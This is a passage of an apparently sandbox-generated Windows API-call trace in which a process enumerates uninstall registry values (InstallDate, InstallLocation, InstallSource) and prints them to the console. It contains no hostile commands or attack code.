lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.216] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.216] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.216] __iob_func () returned 0x7fefd702a80 [0149.216] _fileno (_File=0x7fefd702ab0) returned 1 [0149.217] _errno () returned 0x204bb0 [0149.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.217] _errno () returned 0x204bb0 [0149.217] GetFileType (hFile=0x50) returned 0x1 [0149.217] lstrlenW (lpString="REG_SZ") returned 6 [0149.217] GetConsoleOutputCP () returned 0x1b5 [0149.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.217] GetConsoleOutputCP () returned 0x1b5 [0149.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.217] __iob_func () returned 0x7fefd702a80 [0149.218] _fileno (_File=0x7fefd702ab0) returned 1 [0149.218] _errno () returned 0x204bb0 [0149.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.218] _errno () returned 0x204bb0 [0149.218] GetFileType (hFile=0x50) returned 0x1 [0149.218] lstrlenW (lpString=" ") returned 4 [0149.218] GetConsoleOutputCP () returned 0x1b5 [0149.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.218] GetConsoleOutputCP () returned 0x1b5 [0149.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.218] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.218] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.218] __iob_func () returned 0x7fefd702a80 [0149.218] _fileno (_File=0x7fefd702ab0) returned 1 [0149.218] _errno () returned 0x204bb0 [0149.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.218] _errno () returned 0x204bb0 [0149.218] GetFileType (hFile=0x50) returned 0x1 [0149.218] lstrlenW (lpString="") returned 0 [0149.218] __iob_func () returned 0x7fefd702a80 [0149.218] _fileno (_File=0x7fefd702ab0) returned 1 [0149.218] _errno () returned 0x204bb0 [0149.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.218] _errno () returned 0x204bb0 [0149.218] GetFileType (hFile=0x50) returned 0x1 [0149.218] lstrlenW (lpString="\n") returned 1 [0149.218] GetConsoleOutputCP () returned 0x1b5 [0149.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.219] GetConsoleOutputCP () returned 0x1b5 [0149.219] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.219] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.219] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.219] GetProcessHeap () returned 0x3c0000 [0149.219] GetProcessHeap () returned 0x3c0000 [0149.219] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.219] GetProcessHeap () returned 0x3c0000 [0149.219] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.219] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.219] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.219] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0149.219] GetProcessHeap () returned 0x3c0000 [0149.219] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0149.219] GetProcessHeap () returned 0x3c0000 [0149.219] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.219] GetProcessHeap () returned 0x3c0000 [0149.219] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.219] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0149.219] __iob_func () returned 0x7fefd702a80 [0149.219] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.219] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.219] _fileno (_File=0x7fefd702ab0) returned 1 [0149.219] _errno () returned 0x204bb0 [0149.219] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.219] _errno () returned 0x204bb0 [0149.219] GetFileType (hFile=0x50) returned 0x1 [0149.219] lstrlenW (lpString=" ") returned 4 [0149.219] GetConsoleOutputCP () returned 0x1b5 [0149.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.220] GetConsoleOutputCP () returned 0x1b5 [0149.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.220] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.220] lstrlenW (lpString="InstallDate") returned 11 [0149.220] __iob_func () returned 0x7fefd702a80 [0149.220] _fileno (_File=0x7fefd702ab0) returned 1 [0149.220] _errno () returned 0x204bb0 [0149.220] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.220] _errno () returned 0x204bb0 [0149.220] GetFileType (hFile=0x50) returned 0x1 [0149.220] lstrlenW (lpString="InstallDate") returned 11 [0149.220] GetConsoleOutputCP () returned 0x1b5 [0149.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.220] GetConsoleOutputCP () returned 0x1b5 [0149.220] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0149.220] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.220] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.220] __iob_func () returned 0x7fefd702a80 [0149.220] _fileno (_File=0x7fefd702ab0) returned 1 [0149.220] _errno () returned 0x204bb0 [0149.221] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.221] _errno () returned 0x204bb0 [0149.221] GetFileType (hFile=0x50) returned 0x1 [0149.221] lstrlenW (lpString=" ") returned 4 [0149.221] GetConsoleOutputCP () returned 0x1b5 [0149.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.221] GetConsoleOutputCP () returned 0x1b5 [0149.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.221] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.221] __iob_func () returned 0x7fefd702a80 [0149.221] _fileno (_File=0x7fefd702ab0) returned 1 [0149.221] _errno () returned 0x204bb0 [0149.221] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.221] _errno () returned 0x204bb0 [0149.221] GetFileType (hFile=0x50) returned 0x1 [0149.221] lstrlenW (lpString="REG_SZ") returned 6 [0149.221] GetConsoleOutputCP () returned 0x1b5 [0149.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.221] GetConsoleOutputCP () returned 0x1b5 [0149.221] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.221] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.222] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.222] __iob_func () returned 0x7fefd702a80 [0149.222] _fileno (_File=0x7fefd702ab0) returned 1 [0149.222] _errno () returned 0x204bb0 [0149.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.222] _errno () returned 0x204bb0 [0149.222] GetFileType (hFile=0x50) returned 0x1 [0149.222] lstrlenW (lpString=" ") returned 4 [0149.222] GetConsoleOutputCP () returned 0x1b5 [0149.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.222] GetConsoleOutputCP () returned 0x1b5 [0149.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.222] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.222] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.222] __iob_func () returned 0x7fefd702a80 [0149.222] _fileno (_File=0x7fefd702ab0) returned 1 [0149.222] _errno () returned 0x204bb0 [0149.222] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.222] _errno () returned 0x204bb0 [0149.222] GetFileType (hFile=0x50) returned 0x1 [0149.222] lstrlenW (lpString="20170630") returned 8 [0149.222] GetConsoleOutputCP () returned 0x1b5 [0149.222] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.222] GetConsoleOutputCP () returned 0x1b5 [0149.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0149.223] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.223] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.223] __iob_func () returned 0x7fefd702a80 [0149.223] _fileno (_File=0x7fefd702ab0) returned 1 [0149.223] _errno () returned 0x204bb0 [0149.223] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.223] _errno () returned 0x204bb0 [0149.223] GetFileType (hFile=0x50) returned 0x1 [0149.223] lstrlenW (lpString="\n") returned 1 [0149.223] GetConsoleOutputCP () returned 0x1b5 [0149.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.223] GetConsoleOutputCP () returned 0x1b5 [0149.223] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.223] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.223] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.223] GetProcessHeap () returned 0x3c0000 [0149.223] GetProcessHeap () returned 0x3c0000 [0149.223] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.223] GetProcessHeap () returned 0x3c0000 [0149.223] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.223] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.223] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.223] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.224] GetProcessHeap () returned 0x3c0000 [0149.224] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.224] GetProcessHeap () returned 0x3c0000 [0149.224] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.224] GetProcessHeap () returned 0x3c0000 [0149.224] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.224] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.224] __iob_func () returned 0x7fefd702a80 [0149.224] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.224] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.224] _fileno (_File=0x7fefd702ab0) returned 1 [0149.224] _errno () returned 0x204bb0 [0149.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.224] _errno () returned 0x204bb0 [0149.224] GetFileType (hFile=0x50) returned 0x1 [0149.224] lstrlenW (lpString=" ") returned 4 [0149.224] GetConsoleOutputCP () returned 0x1b5 [0149.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.224] GetConsoleOutputCP () returned 0x1b5 [0149.224] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.224] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.224] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.224] lstrlenW (lpString="InstallLocation") returned 15 [0149.224] __iob_func () returned 0x7fefd702a80 [0149.224] _fileno (_File=0x7fefd702ab0) returned 1 [0149.224] _errno () returned 0x204bb0 [0149.224] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.224] _errno () returned 0x204bb0 [0149.225] GetFileType (hFile=0x50) returned 0x1 [0149.225] lstrlenW (lpString="InstallLocation") returned 15 [0149.225] GetConsoleOutputCP () returned 0x1b5 [0149.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.225] GetConsoleOutputCP () returned 0x1b5 [0149.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0149.225] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.225] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.225] __iob_func () returned 0x7fefd702a80 [0149.225] _fileno (_File=0x7fefd702ab0) returned 1 [0149.225] _errno () returned 0x204bb0 [0149.225] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.225] _errno () returned 0x204bb0 [0149.225] GetFileType (hFile=0x50) returned 0x1 [0149.225] lstrlenW (lpString=" ") returned 4 [0149.225] GetConsoleOutputCP () returned 0x1b5 [0149.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.225] GetConsoleOutputCP () returned 0x1b5 [0149.225] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.225] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.226] __iob_func () returned 0x7fefd702a80 [0149.226] _fileno (_File=0x7fefd702ab0) returned 1 [0149.226] _errno () returned 0x204bb0 [0149.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.226] _errno () returned 0x204bb0 [0149.226] GetFileType (hFile=0x50) returned 0x1 [0149.226] lstrlenW (lpString="REG_SZ") returned 6 [0149.226] GetConsoleOutputCP () returned 0x1b5 [0149.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.226] GetConsoleOutputCP () returned 0x1b5 [0149.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.226] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.226] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.226] __iob_func () returned 0x7fefd702a80 [0149.226] _fileno (_File=0x7fefd702ab0) returned 1 [0149.226] _errno () returned 0x204bb0 [0149.226] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.226] _errno () returned 0x204bb0 [0149.226] GetFileType (hFile=0x50) returned 0x1 [0149.226] lstrlenW (lpString=" ") returned 4 [0149.226] GetConsoleOutputCP () returned 0x1b5 [0149.226] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.226] GetConsoleOutputCP () returned 0x1b5 [0149.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.227] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.227] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.227] __iob_func () returned 0x7fefd702a80 [0149.227] _fileno (_File=0x7fefd702ab0) returned 1 [0149.227] _errno () returned 0x204bb0 [0149.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.227] _errno () returned 0x204bb0 [0149.227] GetFileType (hFile=0x50) returned 0x1 [0149.227] lstrlenW (lpString="") returned 0 [0149.227] __iob_func () returned 0x7fefd702a80 [0149.227] _fileno (_File=0x7fefd702ab0) returned 1 [0149.227] _errno () returned 0x204bb0 [0149.227] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.227] _errno () returned 0x204bb0 [0149.227] GetFileType (hFile=0x50) returned 0x1 [0149.227] lstrlenW (lpString="\n") returned 1 [0149.227] GetConsoleOutputCP () returned 0x1b5 [0149.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.227] GetConsoleOutputCP () returned 0x1b5 [0149.227] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.227] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.227] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.227] GetProcessHeap () returned 0x3c0000 [0149.227] GetProcessHeap () returned 0x3c0000 [0149.227] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.228] GetProcessHeap () returned 0x3c0000 [0149.228] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.228] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.228] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.228] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xde) returned 0x0 [0149.228] GetProcessHeap () returned 0x3c0000 [0149.228] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe0) returned 0x3dce90 [0149.228] GetProcessHeap () returned 0x3c0000 [0149.228] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dce90) returned 1 [0149.228] GetProcessHeap () returned 0x3c0000 [0149.228] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dce90) returned 0xe0 [0149.228] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dce90, pcbData=0x29f780*=0xde | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\", pcbData=0x29f780*=0xdc) returned 0x0 [0149.228] __iob_func () returned 0x7fefd702a80 [0149.228] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.228] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.228] _fileno (_File=0x7fefd702ab0) returned 1 [0149.228] _errno () returned 0x204bb0 [0149.228] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.228] _errno () returned 0x204bb0 [0149.228] GetFileType (hFile=0x50) returned 0x1 [0149.228] lstrlenW (lpString=" ") returned 4 [0149.228] GetConsoleOutputCP () returned 0x1b5 [0149.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.228] GetConsoleOutputCP () returned 0x1b5 [0149.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.228] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.228] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.229] lstrlenW (lpString="InstallSource") returned 13 [0149.229] __iob_func () returned 0x7fefd702a80 [0149.229] _fileno (_File=0x7fefd702ab0) returned 1 [0149.229] _errno 